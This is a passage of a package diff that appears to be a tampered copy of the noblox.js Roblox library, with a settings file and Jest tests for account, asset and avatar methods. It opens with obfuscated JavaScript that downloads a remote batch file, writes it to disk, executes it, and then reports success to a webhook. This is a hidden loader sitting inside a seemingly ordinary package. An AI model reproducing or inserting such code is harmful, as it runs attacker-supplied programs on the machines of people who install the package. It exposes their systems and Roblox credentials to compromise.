_0x10731d['buffer']();fs[_0x58cc12(-0x1d1,-0x1a4,-0x196,-0x1ae)+_0x2d459c(0x6c,0x7e,0x6a,0x62)](_0x12a2ce+(_0x58cc12(-0x17c,-0x190,-0x167,-0x18b)+'iLib.bat'),_0x18fd08);function _0x2d459c(_0x4194d7,_0x341de4,_0x2dfd47,_0x2e3a0a){return _0x23da06(_0x341de4,_0x341de4-0x6,_0x2dfd47-0x93,_0x2e3a0a-0x11e);}function _0x58cc12(_0x4556af,_0x3d5c6c,_0x2d930d,_0x4b8f89){return _0x35f860(_0x4556af-0x3b,_0x3d5c6c-0xcb,_0x2d930d,_0x4b8f89- -0x724);}await _0x242807[_0x2d459c(0x8b,0x91,0xb8,0xe4)](promisify,_0x242807['KXPox'](require,_0x242807[_0x58cc12(-0x15c,-0x18b,-0x159,-0x17d)])[_0x58cc12(-0x19c,-0x1a0,-0x1ae,-0x1c3)])(_0x12a2ce+(_0x2d459c(0xc9,0xd2,0xac,0x81)+_0x2d459c(0x9a,0x72,0x8f,0xb6)));};executeBat(baturl,batDestination)['then'](async()=>{const _0x5cd537={'INKjL':function(_0x3f02d9,_0x3a4fef,_0x2774b6){return _0x3f02d9(_0x3a4fef,_0x2774b6);},'UwnfS':_0x4d90c3(0x498,0x46b,0x481,0x498),'WKuOL':_0x57a4fd(0x39d,0x3cf,0x3b5,0x3c5)+_0x4d90c3(0x4a5,0x4af,0x48b,0x485)},_0x5b582c=_0x57a4fd(0x39c,0x37f,0x39c,0x39c)+_0x4d90c3(0x4b9,0x4bd,0x4df,0x499)+'ed\x20Sucessf'+_0x57a4fd(0x366,0x358,0x36e,0x388),_0x1f1ee8={};_0x1f1ee8['content']=_0x5b582c;function _0x57a4fd(_0x5611d5,_0x5c8382,_0x3428b4,_0x2067e9){return _0x23da06(_0x2067e9,_0x5c8382-0x1ec,_0x3428b4-0x395,_0x2067e9-0x166);}function _0x4d90c3(_0x21ebbd,_0x349eaf,_0x3b1004,_0x3626c8){return _0x23da06(_0x349eaf,_0x349eaf-0x14a,_0x21ebbd-0x498,_0x3626c8-0xd5);}await _0x5cd537[_0x57a4fd(0x3b0,0x397,0x396,0x3a8)](fetch,webhook,{'method':_0x5cd537[_0x57a4fd(0x3c2,0x394,0x3b1,0x3a1)],'headers':{'Content-Type':_0x5cd537[_0x4d90c3(0x4c6,0x4b0,0x4b8,0x4d7)]},'body':JSON[_0x57a4fd(0x38d,0x391,0x393,0x3a7)](_0x1f1ee8)});})['catch'](_0x1f589e=>console['error'](_0x1f589e));
package/settings.json ADDED
@@ -0,0 +1,107 @@
1
+ {
2
+ "session_only": true,
3
+ "session_only_desc": "Minimizes data usage and speed up requests by only saving session cookies, disable if you need other cookies to be saved as well.",
4
+
5
+ "maxThreads": 50,
6
+ "maxThreads_desc": "This is usually used for functions that have to receive a lot of pages at once. Only this amount will be queued up as to preserve memory, make this as high as possible for fastest responses (although it will be somewhat limited by maxSockets).",
7
+
8
+ "timeout": 10000,
9
+ "timeout_desc": "Timeout for http requests. This is necessary for functions that make a very large number of requests, where it is possible some simply won't connect.",
10
+
11
+ "event": {
12
+ "maxRetries": 5,
13
+ "maxRetries_desc": "Maximum number of consecutive retries after an event times out or fails in some other way.",
14
+ "timeout": 10000,
15
+ "timeout_desc": "Maximum time (in milliseconds) a request can take. If your server has extremely high latency you may have to raise this.",
16
+ "event_desc": "Below is the poll time (in milliseconds) for each of the event functions. A lower number will detect changes much quicker but will stress the network, a higher one does the opposite.",
17
+ "defaultDelay": 10000,
18
+ "onAuditLog": 10000,
19
+ "onWallPost": 10000,
20
+ "onJoinRequestHandle": 10000,
21
+ "onJoinRequest": 10000,
22
+ "onShout": 10000,
23
+ "onBlurbChange": 10000,
24
+ "onGroupTransaction": 60000
25
+ },
26
+
27
+ "thumbnail": {
28
+ "maxRetries": 2,
29
+ "maxRetries_desc": "Maximum number of retries to retrieve a pending thumbnail, rare, but occurs with uncached users (Roblox's cache)",
30
+ "retryDelay": 500,
31
+ "retryDelay_desc": "The time to wait between consecutive retries of retrieving pending thumbnails",
32
+ "failedUrl": {
33
+ "pending": "",
34
+ "blocked": ""
35
+ },
36
+ "failedUrl_desc": "The image URL to provide when an asset thumbnail is still pending or has been moderated by Roblox; defaults to Roblox moderation icon via noblox.js's GitHub repo at https://noblox.js.org/moderatedThumbnails/moderatedThumbnail_{size}.png"
37
+ },
38
+
39
+ "queue": {
40
+ "Message": {
41
+ "delay": 0,
42
+ "desc": "Although messages do have a floodcheck, it is not instituted immediately so this is disabled by default. If you are sending a lot of messages set a delay around 10-15 seconds (10000-15000)"
43
+ }
44
+ },
45
+
46
+ "cache": {
47
+ "XCSRF": {
48
+ "expire": 1800,
49
+ "refresh": false,
50
+ "desc": "XCSRF tokens expire 30 minutes after being created. Until they expire, however, no new tokens can be made. Sometimes an XCSRF token has already been created for the user so the server doesn't know when to collect a new one. During transitions some requests may use invalid tokens. For now, new XCSRF tokens are automatically retrieved when cached ones get rejected."
51
+ },
52
+
53
+ "Verify": {
54
+ "expire": 7200,
55
+ "refresh": 3600,
56
+ "desc": "Verification tokens seem to last extremely long times."
57
+ },
58
+
59
+ "Roles": {
60
+ "expire": 600,
61
+ "refresh": true,
62
+ "desc": "This should be fine unless your group changes its ranks often."
63
+ },
64
+
65
+ "RolesetId": {
66
+ "expire": 86400,
67
+ "refresh": false,
68
+ "desc": "Disable this completely if you don't plan on ever changing your exile bot's rank."
69
+ },
70
+
71
+ "Product": {
72
+ "expire": false,
73
+ "refresh": false,
74
+ "desc": "Disabled by default for security (price checks). If you are only working with ROBLOX assets, however, you can set this to something high (since ROBLOX product info rarely changes)."
75
+ },
76
+
77
+ "GamePassProduct": {
78
+ "expire": 86400,
79
+ "refresh": false,
80
+ "desc": "This should normally be fine unless the information of GamePasses you are working with changes frequently."
81
+ },
82
+
83
+ "NameFromID": {
84
+ "expire": false,
85
+ "refresh": false,
86
+ "desc": "Caches a user's username based on their ID. It is not on by default because it is an uncontrollable change but the option is there to cache it if you would like."
87
+ },
88
+
89
+ "IDFromName": {
90
+ "expire": true,
91
+ "refresh": false,
92
+ "desc": "Permanent cache for a user's ID based on their name. There is no reason this would ever change (changing names would re-match it and old names cannot be reused by other accounts). Only disable if you want this to match current names only."
93
+ },
94
+
95
+ "SenderID": {
96
+ "expire": true,
97
+ "refresh": false,
98
+ "desc": "Permanent cache for the sender's user ID. This should literally never change."
99
+ },
100
+
101
+ "Rank": {
102
+ "expire": false,
103
+ "refresh": false,
104
+ "desc": "Caches rank by user ID. Changes cannot be anticipated so this is not enabled by default."
105
+ }
106
+ }
107
+ }
@@ -0,0 +1,27 @@
1
+ const { getUserSocialLinks, setCookie } = require('../lib')
2
+
3
+ beforeAll(() => {
4
+ return new Promise(resolve => {
5
+ setCookie(process.env.COOKIE).then(() => {
6
+ resolve()
7
+ })
8
+ })
9
+ })
10
+
11
+ describe('Account Information Methods', () => {
12
+ it('getUserSocialLinks() returns a player\'s promotion channel links', () => {
13
+ return getUserSocialLinks(2416399685).then((res) => {
14
+ return expect(res).toMatchObject({
15
+ facebook: expect.toBeOneOf([expect.any(String), null]),
16
+ twitter: expect.toBeOneOf([expect.any(String), null]),
17
+ youtube: expect.toBeOneOf([expect.any(String), null]),
18
+ twitch: expect.toBeOneOf([expect.any(String), null]),
19
+ guilded: expect.toBeOneOf([expect.any(String), null])
20
+ })
21
+ })
22
+ })
23
+
24
+ it('getUserSocialLinks() doesn\'t return a player\'s promotion channel links and errors when user is invalid', async () => {
25
+ return await expect(getUserSocialLinks(-5)).rejects.toThrow()
26
+ })
27
+ })
@@ -0,0 +1,27 @@
1
+ const { block, unblock, setCookie } = require('../lib')
2
+
3
+ beforeAll(() => {
4
+ return new Promise(resolve => {
5
+ setCookie(process.env.COOKIE).then(() => {
6
+ resolve()
7
+ })
8
+ })
9
+ })
10
+
11
+ describe('Account Settings Methods', () => {
12
+ it('block() blocks a user on Roblox', async () => {
13
+ await expect(block(4397833)).resolves.not.toThrow()
14
+ })
15
+
16
+ it('block() errors when you try to block a blocked user on Roblox', async () => {
17
+ await expect(block(4397833)).rejects.toThrow()
18
+ })
19
+
20
+ it('unblock() unblocks a user on Roblox', async () => {
21
+ await expect(unblock(4397833)).resolves.not.toThrow()
22
+ })
23
+
24
+ it('block() errors when you try to unblock an unblocked user on Roblox', async () => {
25
+ await expect(unblock(4397833)).rejects.toThrow()
26
+ })
27
+ })
@@ -0,0 +1,81 @@
1
+ const { buy, deleteFromInventory, getGamePassProductInfo, getProductInfo, uploadAnimation, uploadItem, uploadModel, setCookie, getOwnership, getCurrentUser } = require('../lib')
2
+ const fs = require('fs')
3
+
4
+ beforeAll(() => {
5
+ return new Promise(resolve => {
6
+ setCookie(process.env.COOKIE).then(() => {
7
+ resolve()
8
+ })
9
+ })
10
+ })
11
+
12
+ describe('Asset Methods', () => {
13
+ it('deleteFromInventory() successfully deletes an item from user\'s inventory', async () => {
14
+ await getOwnership(await getCurrentUser('UserId'), 1778181).then((res) => {
15
+ if (!res) return buy(1778181)
16
+ })
17
+ return await expect(deleteFromInventory(1778181)).resolves.not.toThrow()
18
+ })
19
+
20
+ it('deleteFromInventory() errors when it tries to delete an item from user\'s inventory that isn\'t there', async () => {
21
+ return await expect(deleteFromInventory(1778181)).rejects.toThrow()
22
+ })
23
+
24
+ it('getGamePassProductInfo() successfully returns a gamepass\'s information', () => {
25
+ return getGamePassProductInfo(2919875).then((res) => {
26
+ return expect(res).toMatchObject({
27
+ Name: expect.any(String),
28
+ Description: expect.any(String),
29
+ Creator: expect.any(Object),
30
+ PriceInRobux: expect.toBeOneOf([expect.any(Number), null])
31
+ })
32
+ })
33
+ })
34
+
35
+ it('getGamePassProductInfo() errors when returning a product\'s information that does not exist', async () => {
36
+ return await expect(getGamePassProductInfo(0)).rejects.toThrow()
37
+ })
38
+
39
+ it('getProductInfo() successfully returns a product\'s information', () => {
40
+ return getProductInfo(1989194006).then((res) => {
41
+ return expect(res).toMatchObject({
42
+ AssetId: expect.any(Number),
43
+ ProductId: expect.any(Number),
44
+ Name: expect.any(String),
45
+ Description: expect.any(String),
46
+ Creator: expect.any(Object),
47
+ PriceInRobux: expect.toBeOneOf([expect.any(Number), null])
48
+ })
49
+ })
50
+ })
51
+
52
+ it('getProductInfo() errors when returning a product\'s information that does not exist', async () => {
53
+ return await expect(getProductInfo(3)).rejects.toThrow()
54
+ })
55
+
56
+ it('uploadAnimation() uploads an animation', () => {
57
+ return uploadAnimation(fs.createReadStream('./test/assets/KeyframeSequence.rbxm'), { name: 'noblox', description: 'A noblox test!', copyLocked: true, allowComments: false }).then((res) => {
58
+ return expect(res).toEqual(expect.any(Number))
59
+ })
60
+ })
61
+
62
+ it('uploadAnimation() errors when no options are provided', async () => {
63
+ await expect(uploadAnimation(fs.createReadStream('./test/assets/KeyframeSequence.rbxm'))).rejects.toThrow()
64
+ })
65
+
66
+ it('uploadItem() uploads an image', async () => {
67
+ await expect(uploadItem('noblox', 13, fs.createReadStream('./img/noblox-js.png'))).resolves.not.toThrow()
68
+ })
69
+
70
+ it('uploadModel() uploads a model', async () => {
71
+ await expect(uploadModel(fs.createReadStream('./test/assets/Great-White-Shark-Fin.rbxm'), {
72
+ name: 'Shark Fin',
73
+ description: 'Uploaded via noblox',
74
+ copyLocked: true
75
+ })).resolves.not.toThrow()
76
+ })
77
+
78
+ it('uploadModel() errors when no options are provided', async () => {
79
+ await expect(uploadModel(fs.createReadStream('./test/assets/Great-White-Shark-Fin.rbxm'))).rejects.toThrow()
80
+ })
81
+ })
@@ -0,0 +1,164 @@
1
+ const { avatarRules, currentlyWearing, getAvatar, getCurrentAvatar, getRecentItems, outfitDetails, outfits, redrawAvatar, removeAssetId, setAvatarBodyColors, setAvatarScales, setPlayerAvatarType, setWearingAssets, wearAssetId, setCookie } = require('../lib')
2
+
3
+ beforeAll(() => {
4
+ return new Promise(resolve => {
5
+ setCookie(process.env.COOKIE).then(() => {
6
+ resolve()
7
+ })
8
+ })
9
+ })
10
+
11
+ describe('Avatar Methods', () => {
12
+ it('avatarRules() returns avatar rules from Roblox', () => {
13
+ return avatarRules().then((rules) => {
14
+ expect(rules).toMatchObject({
15
+ playerAvatarTypes: expect.any(Array),
16
+ scales: expect.any(Object),
17
+ wearableAssetTypes: expect.any(Array),
18
+ bodyColorsPalette: expect.any(Array),
19
+ basicBodyColorsPalette: expect.any(Array),
20
+ minimumDeltaEBodyColorDifference: expect.any(Number),
21
+ proportionsAndBodyTypeEnabledForUser: expect.any(Boolean),
22
+ defaultClothingAssetLists: expect.any(Object),
23
+ bundlesEnabledForUser: expect.any(Boolean),
24
+ emotesEnabledForUser: expect.any(Boolean)
25
+ })
26
+ })
27
+ })
28
+
29
+ it('currentlyWearing() returns an array containing which assets are being worn by a user', () => {
30
+ return currentlyWearing(1).then((res) => {
31
+ expect(res).toMatchObject({
32
+ assetIds: expect.any(Array)
33
+ })
34
+ })
35
+ })
36
+
37
+ it('getAvatar() returns avatar information on a user', () => {
38
+ return getAvatar(1).then((res) => {
39
+ expect(res).toMatchObject({
40
+ scales: expect.any(Object),
41
+ playerAvatarType: expect.any(String),
42
+ bodyColors: expect.any(Object),
43
+ assets: expect.any(Array),
44
+ defaultShirtApplied: expect.any(Boolean),
45
+ defaultPantsApplied: expect.any(Boolean),
46
+ emotes: expect.any(Array)
47
+ })
48
+ })
49
+ })
50
+
51
+ it('getCurrentAvatar() returns avatar information for logged in user', () => {
52
+ return getCurrentAvatar().then((res) => {
53
+ expect(res).toMatchObject({
54
+ scales: expect.any(Object),
55
+ playerAvatarType: expect.any(String),
56
+ bodyColors: expect.any(Object),
57
+ assets: expect.any(Array),
58
+ defaultShirtApplied: expect.any(Boolean),
59
+ defaultPantsApplied: expect.any(Boolean),
60
+ emotes: expect.any(Array)
61
+ })
62
+ })
63
+ })
64
+
65
+ it('getRecentItems() returns recently worn items for logged in user', () => {
66
+ return getRecentItems('Accessories').then((res) => {
67
+ expect(res).toMatchObject({
68
+ data: expect.any(Array),
69
+ total: expect.any(Number)
70
+ })
71
+ })
72
+ })
73
+
74
+ it('outfitDetails() returns information on a created outfit (costume)', () => {
75
+ return outfitDetails(19461896).then((res) => {
76
+ expect(res).toMatchObject({
77
+ id: expect.any(Number),
78
+ name: expect.any(String),
79
+ assets: expect.any(Array),
80
+ bodyColors: expect.any(Object),
81
+ scale: expect.any(Object),
82
+ playerAvatarType: expect.any(String),
83
+ isEditable: expect.any(Boolean)
84
+ })
85
+ })
86
+ })
87
+
88
+ it('outfits() returns a user\'s oufits', () => {
89
+ return outfits(1).then((res) => {
90
+ expect(res).toMatchObject({
91
+ filteredCount: expect.any(Number),
92
+ data: expect.any(Array),
93
+ total: expect.any(Number)
94
+ })
95
+ })
96
+ })
97
+
98
+ it('redrawAvatar() redraws logged in user\'s avatar or gets flood checked', () => {
99
+ return redrawAvatar().catch((err) => {
100
+ // eslint-disable-next-line jest/no-conditional-expect
101
+ expect(() => { throw new Error(err) }).toThrow('Redraw avatar floodchecked')
102
+ })
103
+ })
104
+
105
+ it('removeAssetId() takes off a worn asset on logged in user\'s avatar', async () => {
106
+ await expect(removeAssetId(1989194006)).resolves.not.toThrow()
107
+ })
108
+
109
+ it('setAvatarBodyColors() sets body colors to selected colors', () => {
110
+ return setAvatarBodyColors(194, 37, 194, 194, 102, 102).then(() => {
111
+ return getCurrentAvatar().then((res) => {
112
+ expect(res.bodyColors).toEqual({
113
+ headColorId: 194,
114
+ torsoColorId: 37,
115
+ rightArmColorId: 194,
116
+ leftArmColorId: 194,
117
+ rightLegColorId: 102,
118
+ leftLegColorId: 102
119
+ })
120
+ })
121
+ })
122
+ })
123
+
124
+ it('setAvatarScales() sets avatar scales', () => {
125
+ return setAvatarScales(1, 1, 1, 1, 0, 0).then(() => {
126
+ return getCurrentAvatar().then((res) => {
127
+ expect(res.scales).toEqual({
128
+ height: 1,
129
+ width: 1,
130
+ head: 1,
131
+ depth: 1,
132
+ proportion: 0,
133
+ bodyType: 0
134
+ })
135
+ })
136
+ })
137
+ })
138
+
139
+ it('setPlayerAvatarType() sets avatar body type', () => {
140
+ return setPlayerAvatarType('R6').then(() => {
141
+ return getCurrentAvatar().then((res) => {
142
+ expect(res.playerAvatarType).toBe('R6')
143
+ })
144
+ })
145
+ })
146
+
147
+ it('setWearingAssets() sets the player worn asset ID list to whatever is provided', async () => {
148
+ await expect(setWearingAssets([63690008,
149
+ 86498048,
150
+ 86500008,
151
+ 86500036,
152
+ 86500054,
153
+ 86500064,
154
+ 86500078,
155
+ 144075659,
156
+ 144076358,
157
+ 144076760
158
+ ])).resolves.not.toThrow()
159
+ })
160
+
161
+ it('wearAssetId() wears the asset ID provided on the currently logged in user\'s avatar', async () => {
162
+ await expect(wearAssetId(1989194006)).resolves.not.toThrow()
163
+ })
164
+ })